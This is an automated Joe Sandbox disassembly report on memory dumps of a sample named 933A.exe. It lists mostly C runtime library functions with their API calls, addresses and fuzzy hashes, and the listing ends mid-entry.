Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bb7d1f84f6c5cee5b9e8f935c7938044265f8ce4f50b5b764514223617054c9a
Instruction ID: 65795e023a6a271496e025a911f45d100d47fa5e5aec0743ff152a811d2b109f
Opcode Fuzzy Hash: bb7d1f84f6c5cee5b9e8f935c7938044265f8ce4f50b5b764514223617054c9a
Instruction Fuzzy Hash: D3F06232410210AB8620EB68F5A6D2A77DAEB54350794C8DDF06CE7612CB34FCC04668

Uniqueness

Uniqueness Score: -1.00%

Function 0045C183 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0045C19B

Part of subcall function 004592F2: HeapFree.KERNEL32(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 0045C1AD
_free.LIBCMT ref: 0045C1BF
_free.LIBCMT ref: 0045C1D1
_free.LIBCMT ref: 0045C1E3

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1d16fa3273fe621b6b174878002980a90f728be1a125cb8637db5b680b136f14
Instruction ID: 58e886bf73f41a4afdaaa6fa38e85dcd7a16c0ea873514caf996097bb1e5b0f8
Opcode Fuzzy Hash: 1d16fa3273fe621b6b174878002980a90f728be1a125cb8637db5b680b136f14
Instruction Fuzzy Hash: 1BF03132500610EBC510DB5DF8C6C2673D9AA44356B548C8BF808D7A17CF28FC948EAC

Uniqueness

Uniqueness Score: -1.00%

Function 0045B674 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045B8BF: GetConsoleOutputCP.KERNEL32(0046ED28,00000010,?), ref: 0045B907

WriteFile.KERNEL32(?,0046ED28,00000000,00000010,00000000,?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000,0046ED28), ref: 0045B7BA
GetLastError.KERNEL32(?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000,0046ED28,00000010), ref: 0045B7C4
__dosmaperr.LIBCMT ref: 0045B803

Strings

2E, xrefs: 0045B842

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID: 2E
API String ID: 910155933-267875826
Opcode ID: 4cc971895987ac8f5542dfdb0dad8073af2b9e1f55e984bdf0d5f056dec2b6b3
Instruction ID: 7335125aa1830741211842a69f5411e1b7ff65719c93a7e0a5b6274b44ad06a2
Opcode Fuzzy Hash: 4cc971895987ac8f5542dfdb0dad8073af2b9e1f55e984bdf0d5f056dec2b6b3
Instruction Fuzzy Hash: 2451D575900109AFDB11AFA5C845BEFBBB9EF8931AF14005BFC00A7253D378D94987A9

Uniqueness

Uniqueness Score: -1.00%

Function 00B71DED Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\933A.exe, xrefs: 00B71E85, 00B71E8C, 00B71EC0

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\933A.exe
API String ID: 0-2407653566
Opcode ID: 197b4fc787805ad6393241957b76a0a68e4d608df256599f8cf98a20a4c58b87
Instruction ID: 3f9185d6a43efd84e14181599a5994e83c2815ba487a5c3e8e2d7978cd8397d8
Opcode Fuzzy Hash: 197b4fc787805ad6393241957b76a0a68e4d608df256599f8cf98a20a4c58b87
Instruction Fuzzy Hash: 59417471E00254AFDB21DB9D9C85D9EBBF8EB85310B5084A6F82CEB251D7709A40C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00451B86 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\933A.exe, xrefs: 00451C1E, 00451C25, 00451C59

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\933A.exe
API String ID: 0-2407653566
Opcode ID: 68b97d560d0c0099100ea2ef9a5530ae0c76d00649ea81b95569488028cf80bf
Instruction ID: ad9dc65f0d5f5890e9b6fe461443d40b7fa7e25579d9f31467dec0b230da5830
Opcode Fuzzy Hash: 68b97d560d0c0099100ea2ef9a5530ae0c76d00649ea81b95569488028cf80bf
Instruction Fuzzy Hash: A441BA71E40214AFD712DF9A9881E9FBBB8EB85312B50406BEC04D7322D7B59E49C798

Uniqueness

Uniqueness Score: -1.00%

Function 00B83681 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00B836A6
CatchIt.LIBVCRUNTIME ref: 00B8378C

Strings

MOC, xrefs: 00B836B8
RCC, xrefs: 00B836C0

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: b9294eefec001a00cc42ce568dbec0af9f2aec89857bc8bf4c58b643a402c4d2
Instruction ID: 634cd6a7627dd26e88efa2176d4707403a8eefcf1e101370df17a1e2d58410cc
Opcode Fuzzy Hash: b9294eefec001a00cc42ce568dbec0af9f2aec89857bc8bf4c58b643a402c4d2
Instruction Fuzzy Hash: E34146B5900209AFCF15EF98CD81EAEBBF5EF48B04F188199F918A7221D335DA50DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0046341A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00463320,?,?,00000000,00000000,00000000,?), ref: 0046343F
CatchIt.LIBVCRUNTIME ref: 00463525

Strings

RCC, xrefs: 00463459
MOC, xrefs: 00463451

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: b9294eefec001a00cc42ce568dbec0af9f2aec89857bc8bf4c58b643a402c4d2
Instruction ID: 8f39dd5805d372c0756ed78ffd56aefaa3d4c6d8843bb0330a1e0a875baca37d
Opcode Fuzzy Hash: b9294eefec001a00cc42ce568dbec0af9f2aec89857bc8bf4c58b643a402c4d2
Instruction Fuzzy Hash: 5941AD71900248AFDF16CF94CC81AEEBBB5FF08305F14805AF90567212E339DA50CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0045F6D1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0045F76D,00000000,00000000,00000000,?,?,?,0045F5B5,00000000,FlsAlloc,0046B05C,0046B064), ref: 0045F6DE
GetLastError.KERNEL32(?,0045F76D,00000000,00000000,00000000,?,?,?,0045F5B5,00000000,FlsAlloc,0046B05C,0046B064,00000000,?,00457949), ref: 0045F6E8
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,004014D3), ref: 0045F710

Strings

api-ms-, xrefs: 0045F6F5

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: da2ff945eb368bdb4be0276a4aad53e07162c4de968f51b1146ade01cbcc2935
Instruction ID: 4a9a25279096c016f1891b1392b85375693d65e1bbe9ab004ab8ff3396b9f402
Opcode Fuzzy Hash: da2ff945eb368bdb4be0276a4aad53e07162c4de968f51b1146ade01cbcc2935
Instruction Fuzzy Hash: EBE01230280204B7EF101B61EC46F5A3B99AB14B46F204471FD0CA81E2F7A5995D899F

Uniqueness

Uniqueness Score: -1.00%

Function 00B7AEB2 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B7AF3C

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 02f3ccce0bafb11580a37adb233453c9ea9479c97c243319419fd1888e01944e
Instruction ID: e42184302ec69ba90b180ecb82e7c11d220396824b100f1c6ec8522591da0d17
Opcode Fuzzy Hash: 02f3ccce0bafb11580a37adb233453c9ea9479c97c243319419fd1888e01944e
Instruction Fuzzy Hash: B1B136729142459FDB158F28C891BBEBBE5EF95340F24C1EAE869EB242D3349D01CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0045AC4B Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0045ACD5

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: da8b4137d4e6c41080623bc37f553e3f16b8d3f5a0d050addf887004827dee20
Instruction ID: 221227bcb0ea2c616cc2c0b3c026aac890d3507a22b41ffde68fa84ee63dc4ea
Opcode Fuzzy Hash: da8b4137d4e6c41080623bc37f553e3f16b8d3f5a0d050addf887004827dee20
Instruction Fuzzy Hash: C0B124729002459FDB119F28C8827AFBBF5EF55342F14426BEC45AB343D2388D19CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00B82F83 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B8304A
___AdjustPointer.LIBCMT ref: 00B8306D
___AdjustPointer.LIBCMT ref: 00B83109

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 5ba65961fbef24d1640b29fe86bced4c01acddc5e34976ec00f2fea524e9d8ca
Instruction ID: 05b8268244296aa41b1daaa052d96f8bb834f5e55bc7db291cd063dee072136b
Opcode Fuzzy Hash: 5ba65961fbef24d1640b29fe86bced4c01acddc5e34976ec00f2fea524e9d8ca
Instruction Fuzzy Hash: 7051E371605206AFEB29AF50D841BBA77F5EF54F00F2441A9ED41972A0E735EE40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00462D1C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00462DE3
___AdjustPointer.LIBCMT ref: 00462E06
___AdjustPointer.LIBCMT ref: 00462EA2

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1db9a5c3cb4bdc232c9606874f1046075d1d21094d51237a676ab0be40a0c4d2
Instruction ID: 85c8a25253f1dd3e5851944b7adc50e56c1a559af8798698f31d78ea614ffdf2
Opcode Fuzzy Hash: 1db9a5c3cb4bdc232c9606874f1046075d1d21094d51237a676ab0be40a0c4d2
Instruction Fuzzy Hash: EC510372601A02BFEB298F11CA41BBA73A4EF00704F14443FE80197291F7BAEC51C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DDF4 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc7a60ddce98522a281aa3695ce57af304d9c15a72dc26c10891cef846c55d3
Instruction ID: 4e5ba33209cb8105ea7776e65a42bce1c0e97c95d10d1c820dc5cb87e119155a
Opcode Fuzzy Hash: 4cc7a60ddce98522a281aa3695ce57af304d9c15a72dc26c10891cef846c55d3
Instruction Fuzzy Hash: 8C41DA72A00744AFD724AF78CC41B5ABBF9EF88750F10C5AAF16ADF281D671E9408780

Uniqueness

Uniqueness Score: -1.00%

Function 0045DB8D Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc7a60ddce98522a281aa3695ce57af304d9c15a72dc26c10891cef846c55d3
Instruction ID: 944b4c653c013304dd087810a5787f5c6d455c4f6a89923d065156d10770f530
Opcode Fuzzy Hash: 4cc7a60ddce98522a281aa3695ce57af304d9c15a72dc26c10891cef846c55d3
Instruction Fuzzy Hash: 5341D671E00608BFD7349F79C841B6ABBB9EF88715F10452FF811DB382E6B999498784

Uniqueness

Uniqueness Score: -1.00%

Function 00B71A9C Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B71B6C
_free.LIBCMT ref: 00B71B95
SetEndOfFile.KERNEL32(00000000,?,?,?,?,?,?,?,0046ECA8,0000000C,00B71A7E,?,?), ref: 00B71BC7
GetLastError.KERNEL32(?,?,?,?,0046ECA8,0000000C,00B71A7E,?,?), ref: 00B71BE3

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: c8e614adb050a874add9af348e7a83ec1d641bb6b2b1f86cb6e8c938e5bb2aff
Instruction ID: a7e69589647509a822a5d61823a8dd1daf4fadc8ab18aa3fdbf2aca53b1f7b6d
Opcode Fuzzy Hash: c8e614adb050a874add9af348e7a83ec1d641bb6b2b1f86cb6e8c938e5bb2aff
Instruction Fuzzy Hash: 81418F72900605AADB11ABACCC52B9E37F9EF44320F2489D1F83CA7392FA34C9518771

Uniqueness

Uniqueness Score: -1.00%

Function 00451835 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00451905
_free.LIBCMT ref: 0045192E
SetEndOfFile.KERNEL32(00000000,?,?,?,?,?,?,?,0046ECA8,0000000C,00451817,?,?), ref: 00451960
GetLastError.KERNEL32(?,?,?,?,0046ECA8,0000000C,00451817,?,?), ref: 0045197C

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 19e3d11eb2b2c17522c03ae79e8609e9c08bfa3789516d802f20bd3bc048d9bc
Instruction ID: 56ccb92efb62290e12518d74fda372ac44559eca6bf0df8cc1d35fc859f2df7f
Opcode Fuzzy Hash: 19e3d11eb2b2c17522c03ae79e8609e9c08bfa3789516d802f20bd3bc048d9bc
Instruction Fuzzy Hash: 6B412876900205ABDB216BA68C46B8E37A5AF45366F14055BFC14E72B3D77CC808C769

Uniqueness

Uniqueness Score: -1.00%

Function 00B78363 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c686fdfcacc6ca3d632773b664e78a45cd3eb6b433fcfd89e6658f424fc9576
Instruction ID: 1962511d0591339978e677e3f29d0d67af7181591ebfe7395ee2187c0a0e3fc3
Opcode Fuzzy Hash: 3c686fdfcacc6ca3d632773b664e78a45cd3eb6b433fcfd89e6658f424fc9576
Instruction Fuzzy Hash: F221BB31A81221ABD73147299CCDE5A37D8DF01B60F2685F5F92DA7290EFB0ED0186E5

Uniqueness

Uniqueness Score: -1.00%

Function 00B78616 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00B7398D,?,?,?,?,00B2173A), ref: 00B7861B
_free.LIBCMT ref: 00B78678
_free.LIBCMT ref: 00B786AE
SetLastError.KERNEL32(00000000,00473B80,000000FF,?,00B7398D,?,?,?,?,00B2173A), ref: 00B786B9

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 40442f968d750b6e034382adc8493f7df218849b4ca737676e3a95a5e07cf1bc
Instruction ID: e073bc4ba15d9761cbda58573583f12ca252b17138268c6d03575482b935427e
Opcode Fuzzy Hash: 40442f968d750b6e034382adc8493f7df218849b4ca737676e3a95a5e07cf1bc
Instruction Fuzzy Hash: 7B11E9362C46003BD7112EB96C9EE6B25DADBC17B672482B8F13C921E2EE71DD00516A

Uniqueness

Uniqueness Score: -1.00%

Function 004583AF Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00453726,?,?,?,?,004014D3), ref: 004583B4
_free.LIBCMT ref: 00458411
_free.LIBCMT ref: 00458447
SetLastError.KERNEL32(00000000,00000008,000000FF,?,00453726,?,?,?,?,004014D3), ref: 00458452

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 6ac804eda4573b6d90676ed8cde2322821ca3ee44716b3de478b3171f5c0b37a
Instruction ID: e283a402cd81256332f0fdba789a8111e3cec0a52178620bfb563dbc10f4e794
Opcode Fuzzy Hash: 6ac804eda4573b6d90676ed8cde2322821ca3ee44716b3de478b3171f5c0b37a
Instruction Fuzzy Hash: F5110A362041017BC6006BB6ACC5D6B25999BC17BFB25013FFD14A22D3FE6D8C0D515E

Uniqueness

Uniqueness Score: -1.00%

Function 00B7876D Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00B72515,00B7957F,?,?,00B72427), ref: 00B78772
_free.LIBCMT ref: 00B787CF
_free.LIBCMT ref: 00B78805
SetLastError.KERNEL32(00000000,00473B80,000000FF,?,?,00B72515,00B7957F,?,?,00B72427), ref: 00B78810

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 29f2d619d99591b471c4e749fe3961e4087c5951b10b719377296a3fa20f9a73
Instruction ID: 9c119b7aec06cce9c8f059b8060249cfcceff3bf7f15610e65a5dec45155f548
Opcode Fuzzy Hash: 29f2d619d99591b471c4e749fe3961e4087c5951b10b719377296a3fa20f9a73
Instruction Fuzzy Hash: C61108362806003BD7052BB99CDDE6B25DAEBC03B377483B8F13D961D2EE718C015166

Uniqueness

Uniqueness Score: -1.00%

Function 00458506 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004522AE,00459318,?,?,004536ED,?), ref: 0045850B
_free.LIBCMT ref: 00458568
_free.LIBCMT ref: 0045859E
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,?,004522AE,00459318,?,?,004536ED,?), ref: 004585A9

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 1e5b3d09314711775edc475da7864c666b255b7e6492bae636d2d913e3eb4ec6
Instruction ID: 05af0fb1e9d09ad34c5f12c6a052eb9af842b9423b02bb2c4e8f97cd1697fbc7
Opcode Fuzzy Hash: 1e5b3d09314711775edc475da7864c666b255b7e6492bae636d2d913e3eb4ec6
Instruction Fuzzy Hash: E6112C362041043BC6006BBA6CC2D6B329997C13BBB21023FFD14A22D3FD2D8D0D911E

Uniqueness

Uniqueness Score: -1.00%

Function 00B83BC3 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000010,?,00000000,00000000,00000010,?,00B816FA,00000010,00000001,00000010,00000010,?,00B7BEFD,?,0046ED28,00000010), ref: 00B83BDA
GetLastError.KERNEL32(?,00B816FA,00000010,00000001,00000010,00000010,?,00B7BEFD,?,0046ED28,00000010,?,00000010,?,00B7B991,00B735B4), ref: 00B83BE6

Part of subcall function 00B83C37: CloseHandle.KERNEL32(00474550,00B83BF6,?,00B816FA,00000010,00000001,00000010,00000010,?,00B7BEFD,?,0046ED28,00000010,?,00000010), ref: 00B83C47

___initconout.LIBCMT ref: 00B83BF6

Part of subcall function 00B83C18: CreateFileW.KERNEL32(0046D1F8,40000000,00000003,00000000,00000003,00000000,00000000,00B83BB4,00B816E7,00000010,?,00B7BEFD,?,0046ED28,00000010,?), ref: 00B83C2B

WriteConsoleW.KERNEL32(00000010,?,00000000,00000000,?,00B816FA,00000010,00000001,00000010,00000010,?,00B7BEFD,?,0046ED28,00000010,?), ref: 00B83C0B

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 833712457698fe690c7a153ace126dbb3a4851a7edc05f9d949698dec2eda088
Instruction ID: 3f11aeb76b383423e6c443b619dca655ef40149ffe1028c97e6dd52f4ce02092
Opcode Fuzzy Hash: 833712457698fe690c7a153ace126dbb3a4851a7edc05f9d949698dec2eda088
Instruction Fuzzy Hash: 5EF01236000215BBCF222F95DC0499D3FE7EB44B61F004070FA19A5130E632C961EB96

Uniqueness

Uniqueness Score: -1.00%

Function 0046395C Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000010,?,00000000,00000000,00000010,?,00461493,00000010,00000001,00000010,00000010,?,0045BC96,?,0046ED28,00000010), ref: 00463973
GetLastError.KERNEL32(?,00461493,00000010,00000001,00000010,00000010,?,0045BC96,?,0046ED28,00000010,?,00000010,?,0045B72A,0045334D), ref: 0046397F

Part of subcall function 004639D0: CloseHandle.KERNEL32(FFFFFFFE,0046398F,?,00461493,00000010,00000001,00000010,00000010,?,0045BC96,?,0046ED28,00000010,?,00000010), ref: 004639E0

___initconout.LIBCMT ref: 0046398F

Part of subcall function 004639B1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0046394D,00461480,00000010,?,0045BC96,?,0046ED28,00000010,?), ref: 004639C4

WriteConsoleW.KERNEL32(00000010,?,00000000,00000000,?,00461493,00000010,00000001,00000010,00000010,?,0045BC96,?,0046ED28,00000010,?), ref: 004639A4

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 833712457698fe690c7a153ace126dbb3a4851a7edc05f9d949698dec2eda088
Instruction ID: 8cf7aa87f2ffe5b39515eab3a269abf0bf4ca84993c8dc146b757f5c9ae97bed
Opcode Fuzzy Hash: 833712457698fe690c7a153ace126dbb3a4851a7edc05f9d949698dec2eda088
Instruction Fuzzy Hash: 06F01236500159BBCF121F96DC04A9A3F67EB44761F004061FA1895120E672C9209F9B

Uniqueness

Uniqueness Score: -1.00%

Function 00B6F05E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B6F067

Part of subcall function 00B79559: HeapFree.KERNEL32(00000000,00000000,?,00B72427), ref: 00B7956F
Part of subcall function 00B79559: GetLastError.KERNEL32(?,?,00B72427), ref: 00B79581

_free.LIBCMT ref: 00B6F07A
_free.LIBCMT ref: 00B6F08B
_free.LIBCMT ref: 00B6F09C

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8c751c03f1746749932e17926cbdbefbcf1637543ada60ed70629219cad4f522
Instruction ID: 423d470986802143169c4a770847afb389bcfcefdd1f238fddd682b923bafa2d
Opcode Fuzzy Hash: 8c751c03f1746749932e17926cbdbefbcf1637543ada60ed70629219cad4f522
Instruction Fuzzy Hash: 30E0BF75C01A30AE97136F18BC11B4D3BA6EB547163C14165F42C5E232C7F506D1DBC9

Uniqueness

Uniqueness Score: -1.00%

Function 0044EDF7 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0044EE00

Part of subcall function 004592F2: HeapFree.KERNEL32(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

_free.LIBCMT ref: 0044EE13
_free.LIBCMT ref: 0044EE24
_free.LIBCMT ref: 0044EE35

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4b38b9e09d67bfd2503d535d0a6cdc27c372f25375af33f1cdee794d45b879b9
Instruction ID: eac5d0914dc3a0cc9215f5d756ea941cd3e8e65eb9323245c6ac41f631e7d1ca
Opcode Fuzzy Hash: 4b38b9e09d67bfd2503d535d0a6cdc27c372f25375af33f1cdee794d45b879b9
Instruction Fuzzy Hash: 7BE01A70C00921BAD6126F11BC42A093A25EB0570B7C0856AF8084E636CBB90991DF8C

Uniqueness

Uniqueness Score: -1.00%

Function 0045765C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMONLIBRARYCODE

Download Yara Rule

APIs

